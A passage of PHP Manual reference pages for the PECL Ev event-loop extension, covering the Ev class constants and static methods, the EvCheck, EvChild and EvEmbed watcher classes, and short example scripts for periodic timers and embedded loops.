    It must return the next time to trigger, based on the passed time value (that is, the lowest time value larger than or equal to the second argument). It will usually be called just before the callback will be triggered, but might be called at other times, too.

    Example #1 Using reschedule callback

    <?php
    // Tick each 10.5 seconds

    function reschedule_cb ($watcher, $now) {
       return     $now + (10.5. - fmod($now, 10.5));
    }

    $w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
       echo     time(), PHP_EOL;
    });

    Ev::run();
    ?>

User Contributed Notes

There are no user contributed notes for this page.


The Ev class

(PECL ev >= 0.2.0)

Introduction

Ev is a singleton providing access to the default loop and to some common operations.

Class synopsis

final Ev {
/* Constants */
const integer FLAG_AUTO = 0 ;
const integer FLAG_NOENV = 16777216 ;
const integer FLAG_FORKCHECK = 33554432 ;
const integer FLAG_NOINOTIFY = 1048576 ;
const integer FLAG_SIGNALFD = 2097152 ;
const integer FLAG_NOSIGMASK = 4194304 ;
const integer RUN_NOWAIT = 1 ;
const integer RUN_ONCE = 2 ;
const integer BREAK_CANCEL = 0 ;
const integer BREAK_ONE = 1 ;
const integer BREAK_ALL = 2 ;
const integer MINPRI = -2 ;
const integer MAXPRI = 2 ;
const integer READ = 1 ;
const integer WRITE = 2 ;
const integer TIMER = 256 ;
const integer PERIODIC = 512 ;
const integer SIGNAL = 1024 ;
const integer CHILD = 2048 ;
const integer STAT = 4096 ;
const integer IDLE = 8192 ;
const integer PREPARE = 16384 ;
const integer CHECK = 32768 ;
const integer EMBED = 65536 ;
const integer CUSTOM = 16777216 ;
const integer ERROR = 2147483648 ;
const integer BACKEND_SELECT = 1 ;
const integer BACKEND_POLL = 2 ;
const integer BACKEND_EPOLL = 4 ;
const integer BACKEND_KQUEUE = 8 ;
const integer BACKEND_DEVPOLL = 16 ;
const integer BACKEND_PORT = 32 ;
const integer BACKEND_ALL = 63 ;
const integer BACKEND_MASK = 65535 ;
/* Methods */
final public static int backend ( void )
final public static int depth ( void )
final public static void embeddableBackends ( void )
final public static void feedSignal ( int $signum )
final public static void feedSignalEvent ( int $signum )
final public static int iteration ( void )
final public static double now ( void )
final public static void nowUpdate ( void )
final public static void recommendedBackends ( void )
final public static void resume ( void )
final public static void run ([ int $flags ] )
final public static void sleep ( double $seconds )
final public static void stop ([ int $how ] )
final public static void supportedBackends ( void )
final public static void suspend ( void )
final public static double time ( void )
final public static void verify ( void )
}

Predefined Constants

Flags passed to create a loop:

Ev::FLAG_AUTO

The default flags value

Ev::FLAG_NOENV

If this flag used(or the program runs setuid or setgid), libev won't look at the environment variable LIBEV_FLAGS . Otherwise(by default), LIBEV_FLAGS will override the flags completely if it is found. Useful for performance tests and searching for bugs.

Ev::FLAG_FORKCHECK

Makes libev check for a fork in each iteration, instead of calling EvLoop::fork() manually. This works by calling getpid() on every iteration of the loop, and thus this might slow down the event loop with lots of loop iterations, but usually is not noticeable. This flag setting cannot be overridden or specified in the LIBEV_FLAGS environment variable.

Ev::FLAG_NOINOTIFY

When this flag is specified, libev won't attempt to use the inotify API for its » ev_stat watchers. The flag can be useful to conserve inotify file descriptors, as otherwise each loop using ev_stat watchers consumes one inotify handle.

Ev::FLAG_SIGNALFD

When this flag is specified, libev will attempt to use the signalfd API for its » ev_signal (and » ev_child ) watchers. This API delivers signals synchronously, which makes it both faster and might make it possible to get the queued signal data. It can also simplify signal handling with threads, as long as signals are properly blocked in threads. Signalfd will not be used by default.

Ev::FLAG_NOSIGMASK

When this flag is specified, libev will avoid to modify the signal mask. Specifically, this means having to make sure signals are unblocked before receiving them.

This behaviour is useful for custom signal handling, or handling signals only in specific threads.

Flags passed to Ev::run() , or EvLoop::run()

Ev::RUN_NOWAIT

Means that event loop will look for new events, will handle those events and any already outstanding ones, but will not wait and block the process in case there are no events and will return after one iteration of the loop. This is sometimes useful to poll and handle new events while doing lengthy calculations, to keep the program responsive.

Ev::RUN_ONCE

Means that event loop will look for new events (waiting if necessary) and will handle those and any already outstanding ones. It will block the process until at least one new event arrives (which could be an event internal to libev itself, so there is no guarantee that a user-registered callback will be called), and will return after one iteration of the loop.

Flags passed to Ev::stop() , or EvLoop::stop()

Ev::BREAK_CANCEL

Cancel the break operation.

Ev::BREAK_ONE

Makes the innermost Ev::run() (or EvLoop::run() ) call return.

Ev::BREAK_ALL

Makes all nested Ev::run() (or EvLoop::run() ) calls return.

Watcher priorities:

Ev::MINPRI

Minimum allowed watcher priority.

Ev::MAXPRI

Maximum allowed watcher priority.

Bit masks of (received) events:

Ev::READ

The file descriptor in the EvIo watcher has become readable.

Ev::WRITE

The file descriptor in the EvIo watcher has become writable.

Ev::TIMER

EvTimer watcher has been timed out.

Ev::PERIODIC

EvPeriodic watcher has been timed out.

Ev::SIGNAL

A signal specified in EvSignal::__construct() has been received.

Ev::CHILD

The pid specified in EvChild::__construct() has received a status change.

Ev::STAT

The path specified in EvStat watcher changed its attributes.

Ev::IDLE

EvIdle watcher works when there is nothing to do with other watchers.

Ev::PREPARE

All EvPrepare watchers are invoked just before Ev::run() starts. Thus, EvPrepare watchers are the last watchers invoked before the event loop sleeps or polls for new events.

Ev::CHECK

All EvCheck watchers are queued just after Ev::run() has gathered the new events, but before it queues any callbacks for any received events. Thus, EvCheck watchers will be invoked before any other watchers of the same or lower priority within an event loop iteration.

Ev::EMBED

The embedded event loop specified in the EvEmbed watcher needs attention.

Ev::CUSTOM

Not ever sent(or otherwise used) by libev itself, but can be freely used by libev users to signal watchers (e.g. via EvWatcher::feed() ).

Ev::ERROR

An unspecified error has occurred, the watcher has been stopped. This might happen because the watcher could not be properly started because libev ran out of memory, a file descriptor was found to be closed or any other problem. Libev considers these application bugs. See also » ANATOMY OF A WATCHER

Backend flags:

Ev::BACKEND_SELECT

select(2) backend

Ev::BACKEND_POLL

poll(2) backend

Ev::BACKEND_EPOLL

Linux-specific epoll(7) backend for both pre- and post-2.6.9 kernels

Ev::BACKEND_KQUEUE

kqueue backend used on most BSD systems. EvEmbed watcher could be used to embed one loop(with kqueue backend) into another. For instance, one can try to create an event loop with kqueue backend and use it for sockets only.

Ev::BACKEND_DEVPOLL

Solaris 8 backend. This is not implemented yet.

Ev::BACKEND_PORT

Solaris 10 event port mechanism with a good scaling.

Ev::BACKEND_ALL

Try all backends(even currupted ones). It's not recommended to use it explicitly. Bitwise operators should be applied here(e.g. Ev::BACKEND_ALL & ~ Ev::BACKEND_KQUEUE ) Use Ev::recommendedBackends() , or don't specify any backends at all.

Ev::BACKEND_MASK

Not a backend, but a mask to select all backend bits from flags value to mask out any backends(e.g. when modifying the LIBEV_FLAGS environment variable).

Note:

For the default loop during module initialization phase Ev registers » ev_loop_fork call by means of pthread_atfork (if available).

Note:

There are methods providing access to the default event loop in Ev class(e.g. Ev::iteration() , Ev::depth() etc.) For custom loops (created with EvLoop::__construct() ) these values may be accessed via corresponding properties and methods of the EvLoop class.

The instance of the default event loop itself can be fetched by means of EvLoop::defaultLoop() method.

Table of Contents

  • Ev::backend — Returns an integer describing the backend used by libev.
  • Ev::depth — Returns recursion depth
  • Ev::embeddableBackends — Returns the set of backends that are embeddable in other event loops.
  • Ev::feedSignal — Feed a signal event info Ev
  • Ev::feedSignalEvent — Feed signal event into the default loop
  • Ev::iteration — Return the number of times the default event loop has polled for new events.
  • Ev::now — Returns the time when the last iteration of the default event loop has started.
  • Ev::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress.
  • Ev::recommendedBackends — Returns a bit mask of recommended backends for current platform.
  • Ev::resume — Resume previously suspended default event loop
  • Ev::run — Begin checking for events and calling callbacks for the default loop
  • Ev::sleep — Block the process for the given number of seconds.
  • Ev::stop — Stops the default event loop
  • Ev::supportedBackends — Returns the set of backends supported by current libev configuration.
  • Ev::suspend — Suspend the default event loop
  • Ev::time — Returns the current time in fractional seconds since the epoch.
  • Ev::verify — Performs internal consistency checks(for debugging)

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer describing the backend used by libev.

  • « Ev
  • Ev::depth »
  • PHP Manual
  • Ev
  • Returns an integer describing the backend used by libev.

Ev::backend

(PECL ev >= 0.2.0)

Ev::backend — Returns an integer describing the backend used by libev.

Description

final public static int Ev::backend ( void )

Returns an integer describing the backend used by libev . See Backend flags

Parameters

This function has no parameters.

Return Values

Returns an integer(bit mask) describing the backend used by libev .

See Also

  • EvEmbed
  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops.
  • Ev::recommendedBackends() - Returns a bit mask of recommended backends for current platform.
  • Ev::supportedBackends() - Returns the set of backends supported by current libev configuration.
  • Backend flags

User Contributed Notes

There are no user contributed notes for this page.


Returns recursion depth

  • « Ev::backend
  • Ev::embeddableBackends »
  • PHP Manual
  • Ev
  • Returns recursion depth

Ev::depth

(PECL ev >= 0.2.0)

Ev::depth — Returns recursion depth

Description

final public static int Ev::depth ( void )

The number of times Ev::run() was entered minus the number of times Ev::run() was exited normally, in other words, the recursion depth. Outside Ev::run() , this number is 0 . In a callback, this number is 1 , unless Ev::run() was invoked recursively (or from another thread), in which case it is higher.

Parameters

This function has no parameters.

Return Values

ev_depth() returns recursion depth of the default loop.

See Also

  • Ev::iteration() - Return the number of times the default event loop has polled for new events.

User Contributed Notes

There are no user contributed notes for this page.


Returns the set of backends that are embeddable in other event loops.

  • « Ev::depth
  • Ev::feedSignal »
  • PHP Manual
  • Ev
  • Returns the set of backends that are embeddable in other event loops.

Ev::embeddableBackends

(PECL ev >= 0.2.0)

Ev::embeddableBackends — Returns the set of backends that are embeddable in other event loops.

Description

final public static void Ev::embeddableBackends ( void )

Returns the set of backends that are embeddable in other event loops.

Parameters

This function has no parameters.

Return Values

Returns a bit mask which can containing backend flags combined using bitwise OR operator.

Examples

Example #1 Embedding loop created with kqueue backend into the default loop

<?php
/*
* Check if kqueue is available but not recommended and create a kqueue backend
* for use with sockets (which usually work with any kqueue implementation).
* Store the kqueue/socket-only event loop in loop_socket. (One might optionally
* use EVFLAG_NOENV, too)
*
* Example borrowed from
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop        = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed       = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
 if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
  $embed = new EvEmbed($loop);
 }
}

if (!$socket_loop) {
 $socket_loop = $loop;
}

// Now use $socket_loop for all sockets, and $loop for anything else
?>

See Also

  • EvEmbed
  • Ev::recommendedBackends() - Returns a bit mask of recommended backends for current platform.
  • Ev::supportedBackends() - Returns the set of backends supported by current libev configuration.
  • Backend flags
  • Examples

User Contributed Notes

There are no user contributed notes for this page.


Feed a signal event info Ev

  • « Ev::embeddableBackends
  • Ev::feedSignalEvent »
  • PHP Manual
  • Ev
  • Feed a signal event info Ev

Ev::feedSignal

(PECL ev >= 0.2.0)

Ev::feedSignal — Feed a signal event info Ev

Description

final public static void Ev::feedSignal ( int $signum )

Simulates a signal receive. It is safe to call this function at any time, from any context, including signal handlers or random threads. Its main use is to customise signal handling in the process.

Unlike Ev::feedSignalEvent() , this works regardless of which loop has registered the signal.

Parameters

signum

Signal number. See signal(7) man page for detals. You can use constants exported by pcntl extension.

Return Values

No value is returned.

See Also

  • Ev::feedSignalEvent() - Feed signal event into the default loop

User Contributed Notes

There are no user contributed notes for this page.


Feed signal event into the default loop

  • « Ev::feedSignal
  • Ev::iteration »
  • PHP Manual
  • Ev
  • Feed signal event into the default loop

Ev::feedSignalEvent

(No version information available, might only be in Git)

Ev::feedSignalEvent — Feed signal event into the default loop

Description

final public static void Ev::feedSignalEvent ( int $signum )

Feed signal event into the default loop. Ev will react to this call as if the signal specified by signal had occurred.

Parameters

signum

Signal number. See signal(7) man page for detals. See also constants exported by pcntl extension.

Return Values

No value is returned.

See Also

  • Ev::feedSignal() - Feed a signal event info Ev

User Contributed Notes

There are no user contributed notes for this page.


Return the number of times the default event loop has polled for new events.

  • « Ev::feedSignalEvent
  • Ev::now »
  • PHP Manual
  • Ev
  • Return the number of times the default event loop has polled for new events.

Ev::iteration

(PECL ev >= 0.2.0)

Ev::iteration — Return the number of times the default event loop has polled for new events.

Description

final public static int Ev::iteration ( void )

Return the number of times the event loop has polled for new events. Sometimes useful as a generation counter.

Parameters

This function has no parameters.

Return Values

Returns number of polls of the default event loop.

See Also

  • Ev::depth() - Returns recursion depth

User Contributed Notes

There are no user contributed notes for this page.


Returns the time when the last iteration of the default event loop has started.

  • « Ev::iteration
  • Ev::nowUpdate »
  • PHP Manual
  • Ev
  • Returns the time when the last iteration of the default event loop has started.

Ev::now

(PECL ev >= 0.2.0)

Ev::now — Returns the time when the last iteration of the default event loop has started.

Description

final public static double Ev::now ( void )

Returns the time when the last iteration of the default event loop has started. This is the time that timers( EvTimer and EvPeriodic ) are based on, and referring to it is usually faster then calling Ev::time() .

Parameters

This function has no parameters.

Return Values

Returns number of seconds(fractional) representing the time when the last iteration of the default event loop has started.

See Also

  • Ev::nowUpdate() - Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress.

User Contributed Notes

There are no user contributed notes for this page.


Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress.

  • « Ev::now
  • Ev::recommendedBackends »
  • PHP Manual
  • Ev
  • Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress.

Ev::nowUpdate

(PECL ev >= 0.2.0)

Ev::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress.

Description

final public static void Ev::nowUpdate ( void )

Establishes the current time by querying the kernel, updating the time returned by Ev::now() in the progress. This is a costly operation and is usually done automatically within Ev::run() .

This method is rarely useful, but when some event callback runs for a very long time without entering the event loop, updating libev 's consideration of the current time is a good idea.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Ev::now() - Returns the time when the last iteration of the default event loop has started.

User Contributed Notes

There are no user contributed notes for this page.


Returns a bit mask of recommended backends for current platform.

  • « Ev::nowUpdate
  • Ev::resume »
  • PHP Manual
  • Ev
  • Returns a bit mask of recommended backends for current platform.

Ev::recommendedBackends

(PECL ev >= 0.2.0)

Ev::recommendedBackends — Returns a bit mask of recommended backends for current platform.

Description

final public static void Ev::recommendedBackends ( void )

Returns the set of all backends compiled into this binary of libev and also recommended for this platform, meaning it will work for most file descriptor types. This set is often smaller than the one returned by ev_supported_backends() , as for example kqueue is broken on most BSD systems and will not be auto-detected unless it is requested explicitly. This is the set of backends that libev will probe no backends specified explicitly.

Parameters

This function has no parameters.

Return Values

Returns a bit mask which can containing backend flags combined using bitwise OR operator.

Examples

Example #1 Embedding one loop into another

<?php
/*
* Try to get an embeddable event loop and embed it into the default event loop.
* If it is impossible, use the default
* loop. The default loop is stored in $loop_hi, while the embeddable loop is
* stored in $loop_lo(which is $loop_hi in the case no embeddable loop can be
* used).
*
* Sample translated to PHP
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop_hi = EvLoop::defaultLoop();
$loop_lo = NULL;
$embed   = NULL;

/*
* See if there is a chance of getting one that works
* (flags' value of 0 means autodetection)
*/
$loop_lo = Ev::embeddableBackends() & Ev::recommendedBackends()
 ? new EvLoop(Ev::embeddableBackends() & Ev::recommendedBackends())
 : 0;

if ($loop_lo) {
 $embed = new EvEmbed($loop_lo, function () {});
} else {
 $loop_lo = $loop_hi;
}
?>

See Also

  • EvEmbed
  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops.
  • Ev::supportedBackends() - Returns the set of backends supported by current libev configuration.
  • Backend flags
  • Examples

User Contributed Notes

There are no user contributed notes for this page.


Resume previously suspended default event loop

  • « Ev::recommendedBackends
  • Ev::run »
  • PHP Manual
  • Ev
  • Resume previously suspended default event loop

Ev::resume

(PECL ev >= 0.2.0)

Ev::resume — Resume previously suspended default event loop

Description

final public static void Ev::resume ( void )

Ev::suspend() and Ev::resume() methods suspend and resume a loop correspondingly.

All timer watchers will be delayed by the time spend between suspend and resume , and all periodic watchers will be rescheduled(that is, they will lose any events that would have occurred while suspended).

After calling Ev::suspend() it is not allowed to call any function on the given loop other than Ev::resume() . Also it is not allowed to call Ev::resume() without a previous call to Ev::suspend() .

Calling suspend / resume has the side effect of updating the event loop time(see Ev::nowUpdate() ).

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Ev::suspend() - Suspend the default event loop

User Contributed Notes

There are no user contributed notes for this page.


Begin checking for events and calling callbacks for the default loop

  • « Ev::resume
  • Ev::sleep »
  • PHP Manual
  • Ev
  • Begin checking for events and calling callbacks for the default loop

Ev::run

(PECL ev >= 0.2.0)

Ev::run — Begin checking for events and calling callbacks for the default loop

Description

final public static void Ev::run ([ int $flags ] )

Begin checking for events and calling callbacks for the default loop . Returns when a callback calls Ev::stop() method, or the flags are nonzero(in which case the return value is true) or when there are no active watchers which reference the loop( EvWatcher::keepalive() is TRUE), in which case the return value will be FALSE. The return value can generally be interpreted as if TRUE, there is more work left to do .

Parameters

flags

Optional parameter flags can be one of the following:

List for possible values of flags
flags | Description
0 | The default behavior described above
Ev::RUN_ONCE | Block at most one(wait, but don't loop)
Ev::RUN_NOWAIT | Don't block at all(fetch/handle events, but don't wait)

See the run flag constants .

Return Values

No value is returned.

See Also

  • Ev::stop() - Stops the default event loop
  • EvLoop::run() - Begin checking for events and calling callbacks for the loop

User Contributed Notes

There are no user contributed notes for this page.


Block the process for the given number of seconds.

  • « Ev::run
  • Ev::stop »
  • PHP Manual
  • Ev
  • Block the process for the given number of seconds.

Ev::sleep

(PECL ev >= 0.2.0)

Ev::sleep — Block the process for the given number of seconds.

Description

final public static void Ev::sleep ( double $seconds )

Block the process for the given number of seconds.

Parameters

seconds

Fractional number of seconds

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Stops the default event loop

  • « Ev::sleep
  • Ev::supportedBackends »
  • PHP Manual
  • Ev
  • Stops the default event loop

Ev::stop

(PECL ev >= 0.2.0)

Ev::stop — Stops the default event loop

Description

final public static void Ev::stop ([ int $how ] )

Stops the default event loop

Parameters

how

One of Ev::BREAK_* constants .

Return Values

No value is returned.

See Also

  • Ev::run() - Begin checking for events and calling callbacks for the default loop

User Contributed Notes

There are no user contributed notes for this page.


Returns the set of backends supported by current libev configuration.

  • « Ev::stop
  • Ev::suspend »
  • PHP Manual
  • Ev
  • Returns the set of backends supported by current libev configuration.

Ev::supportedBackends

(PECL ev >= 0.2.0)

Ev::supportedBackends — Returns the set of backends supported by current libev configuration.

Description

final public static void Ev::supportedBackends ( void )

Returns the set of backends supported by current libev configuration.

Parameters

This function has no parameters.

Return Values

Returns a bit mask which can containing backend flags combined using bitwise OR operator.

Examples

Example #1 Embedding loop created with kqueue backend into the default loop

<?php
/*
* Check if kqueue is available but not recommended and create a kqueue backend
* for use with sockets (which usually work with any kqueue implementation).
* Store the kqueue/socket-only event loop in loop_socket. (One might optionally
* use EVFLAG_NOENV, too)
*
* Example borrowed from
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop        = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed       = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
 if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
  $embed = new EvEmbed($loop);
 }
}

if (!$socket_loop) {
 $socket_loop = $loop;
}

// Now use $socket_loop for all sockets, and $loop for anything else
?>

See Also

  • EvEmbed
  • Ev::recommendedBackends() - Returns a bit mask of recommended backends for current platform.
  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops.
  • Backend flags
  • Examples

User Contributed Notes

There are no user contributed notes for this page.


Suspend the default event loop

  • « Ev::supportedBackends
  • Ev::time »
  • PHP Manual
  • Ev
  • Suspend the default event loop

Ev::suspend

(PECL ev >= 0.2.0)

Ev::suspend — Suspend the default event loop

Description

final public static void Ev::suspend ( void )

Ev::suspend() and Ev::resume() methods suspend and resume the default loop correspondingly.

All timer watchers will be delayed by the time spend between suspend and resume , and all periodic watchers will be rescheduled(that is, they will lose any events that would have occurred while suspended).

After calling Ev::suspend() it is not allowed to call any function on the given loop other than Ev::resume() . Also it is not allowed to call Ev::resume() without a previous call to Ev::suspend() .

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Ev::resume() - Resume previously suspended default event loop

User Contributed Notes

There are no user contributed notes for this page.


Returns the current time in fractional seconds since the epoch.

  • « Ev::suspend
  • Ev::verify »
  • PHP Manual
  • Ev
  • Returns the current time in fractional seconds since the epoch.

Ev::time

(PECL ev >= 0.2.0)

Ev::time — Returns the current time in fractional seconds since the epoch.

Description

final public static double Ev::time ( void )

Returns the current time in fractional seconds since the epoch. Consider using Ev::now()

Parameters

This function has no parameters.

Return Values

Returns the current time in fractional seconds since the epoch.

See Also

  • Ev::now() - Returns the time when the last iteration of the default event loop has started.

User Contributed Notes

There are no user contributed notes for this page.


Performs internal consistency checks(for debugging)

  • « Ev::time
  • EvCheck »
  • PHP Manual
  • Ev
  • Performs internal consistency checks(for debugging)

Ev::verify

(PECL ev >= 0.2.0)

Ev::verify — Performs internal consistency checks(for debugging)

Description

final public static void Ev::verify ( void )

Performs internal consistency checks(for debugging libev ) and abort the program if any data structures were found to be corrupted.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The EvCheck class

(PECL ev >= 0.2.0)

Introduction

EvPrepare and EvCheck watchers are usually used in pairs. EvPrepare watchers get invoked before the process blocks, EvCheck afterwards.

It is not allowed to call EvLoop::run() or similar methods or functions that enter the current event loop from either EvPrepare or EvCheck watchers. Other loops than the current one are fine, however. The rationale behind this is that one don't need to check for recursion in those watchers, i.e. the sequence will always be: EvPrepare -> blocking -> EvCheck , so having a watcher of each kind they will always be called in pairs bracketing the blocking call.

The main purpose is to integrate other event mechanisms into libev and their use is somewhat advanced. They could be used, for example, to track variable changes, implement custom watchers, integrate net-snmp or a coroutine library and lots more. They are also occasionally useful to cache some data and want to flush it before blocking.

It is recommended to give EvCheck watchers highest( Ev::MAXPRI ) priority, to ensure that they are being run before any other watchers after the poll (this doesn’t matter for EvPrepare watchers).

Also, EvCheck watchers should not activate/feed events. While libev fully supports this, they might get executed before other EvCheck watchers did their job.

Class synopsis

EvCheck extends EvWatcher {
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public __construct ( callable $callback [, mixed $data [, int $priority ]] )
final public static object createStopped ( string $callback [, string $data [, string $priority ]] )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Table of Contents

  • EvCheck::__construct — Constructs the EvCheck watcher object
  • EvCheck::createStopped — Create instance of a stopped EvCheck watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvCheck watcher object

  • « EvCheck
  • EvCheck::createStopped »
  • PHP Manual
  • EvCheck
  • Constructs the EvCheck watcher object

EvCheck::__construct

(PECL ev >= 0.2.0)

EvCheck::__construct — Constructs the EvCheck watcher object

Description

public EvCheck::__construct ( callable $callback [, mixed $data [, int $priority ]] )

Constructs the EvCheck watcher object.

Parameters

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvCheck object on success.

See Also

  • EvPrepare
  • EvLoop::check() - Creates EvCheck object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Create instance of a stopped EvCheck watcher

  • « EvCheck::__construct
  • EvChild »
  • PHP Manual
  • EvCheck
  • Create instance of a stopped EvCheck watcher

EvCheck::createStopped

(PECL ev >= 0.2.0)

EvCheck::createStopped — Create instance of a stopped EvCheck watcher

Description

final public static object EvCheck::createStopped ( string $callback [, string $data [, string $priority ]] )

Create instance of a stopped EvCheck watcher

Parameters

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvCheck object on success.

See Also

  • EvPrepare

User Contributed Notes

There are no user contributed notes for this page.


The EvChild class

(PECL ev >= 0.2.0)

Introduction

EvChild watchers trigger when the process receives a SIGCHLD in response to some child status changes (most typically when a child dies or exits). It is permissible to install an EvChild watcher after the child has been forked(which implies it might have already exited), as long as the event loop isn't entered(or is continued from a watcher), i.e. forking and then immediately registering a watcher for the child is fine, but forking and registering a watcher a few event loop iterations later or in the next callback invocation is not.

It is allowed to register EvChild watchers in the default loop only.

Class synopsis

EvChild extends EvWatcher {
/* Properties */
public $pid ;
public $rpid ;
public $rstatus ;
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public __construct ( int $pid , bool $trace , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public static object createStopped ( int $pid , bool $trace , callable $callback [, mixed $data [, int $priority ]] )
public void set ( int $pid , bool $trace )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Properties

pid

Readonly . The process ID this watcher watches out for, or 0 , meaning any process ID.

rpid

Readonly .The process ID that detected a status change.

rstatus

Readonly . The process exit status caused by rpid .

Table of Contents

  • EvChild::__construct — Constructs the EvChild watcher object
  • EvChild::createStopped — Create instance of a stopped EvCheck watcher
  • EvChild::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvChild watcher object

  • « EvChild
  • EvChild::createStopped »
  • PHP Manual
  • EvChild
  • Constructs the EvChild watcher object

EvChild::__construct

(PECL ev >= 0.2.0)

EvChild::__construct — Constructs the EvChild watcher object

Description

public EvChild::__construct ( int $pid , bool $trace , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Constructs the EvChild watcher object.

Call the callback when a status change for process ID pid (or any PID if pid is 0 ) has been received(a status change happens when the process terminates or is killed, or, when trace is TRUE, additionally when it is stopped or continued). In other words, when the process receives a SIGCHLD , Ev will fetch the outstanding exit/wait status for all changed/zombie children and call the callback.

It is valid to install a child watcher after an EvChild has exited but before the event loop has started its next iteration. For example, first one calls fork , then the new child process might exit, and only then an EvChild watcher is installed in the parent for the new PID .

You can access both exit/tracing status and pid by using the rstatus and rpid properties of the watcher object.

The number of PID watchers per PID is unlimited. All of them will be called.

The EvChild::createStopped() method doesn't start(activate) the newly created watcher.

Parameters

pid

Wait for status changes of process PID(or any process if PID is specified as 0 ).

trace

If FALSE, only activate the watcher when the process terminates. Otherwise(TRUE) additionally activate the watcher when the process is stopped or continued.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvChild object on success.

See Also

  • EvLoop::child() - Creates EvChild object associated with the current event loop

User Contributed Notes

There are no user contributed notes for this page.


Create instance of a stopped EvCheck watcher

  • « EvChild::__construct
  • EvChild::set »
  • PHP Manual
  • EvChild
  • Create instance of a stopped EvCheck watcher

EvChild::createStopped

(PECL ev >= 0.2.0)

EvChild::createStopped — Create instance of a stopped EvCheck watcher

Description

final public static object EvChild::createStopped ( int $pid , bool $trace , callable $callback [, mixed $data [, int $priority ]] )

The same as EvChild::__construct() , but doesn't start the watcher automatically.

Parameters

pid

The same as for EvChild::__construct()

trace

The same as for EvChild::__construct()

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

See Also

  • EvChild::__construct() - Constructs the EvChild watcher object
  • EvLoop::child() - Creates EvChild object associated with the current event loop

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • « EvChild::createStopped
  • EvEmbed »
  • PHP Manual
  • EvChild
  • Configures the watcher

EvChild::set

(PECL ev >= 0.2.0)

EvChild::set — Configures the watcher

Description

public void EvChild::set ( int $pid , bool $trace )

Parameters

pid

The same as for EvChild::__construct()

trace

The same as for EvChild::__construct()

Return Values

No value is returned.

See Also

  • EvChild::__construct() - Constructs the EvChild watcher object

User Contributed Notes

There are no user contributed notes for this page.


The EvEmbed class

(PECL ev >= 0.2.0)

Introduction

Used to embed one event loop into another.

Class synopsis

EvEmbed extends EvWatcher {
/* Properties */
public $embed ;
/* Methods */
public __construct ( object $other [, callable $callback [, mixed $data [, int $priority ]]] )
final public static void createStopped ( object $other [, callable $callback [, mixed $data [, int $priority ]]] )
public void set ( object $other )
public void sweep ( void )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Properties

is_active

data

is_pending

priority

embed

Table of Contents

  • EvEmbed::__construct — Constructs the EvEmbed object
  • EvEmbed::createStopped — Create stopped EvEmbed watcher object
  • EvEmbed::set — Configures the watcher
  • EvEmbed::sweep — Make a single, non-blocking sweep over the embedded loop.

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvEmbed object

  • « EvEmbed
  • EvEmbed::createStopped »
  • PHP Manual
  • EvEmbed
  • Constructs the EvEmbed object

EvEmbed::__construct

(PECL ev >= 0.2.0)

EvEmbed::__construct — Constructs the EvEmbed object

Description

public EvEmbed::__construct ( object $other [, callable $callback [, mixed $data [, int $priority ]]] )

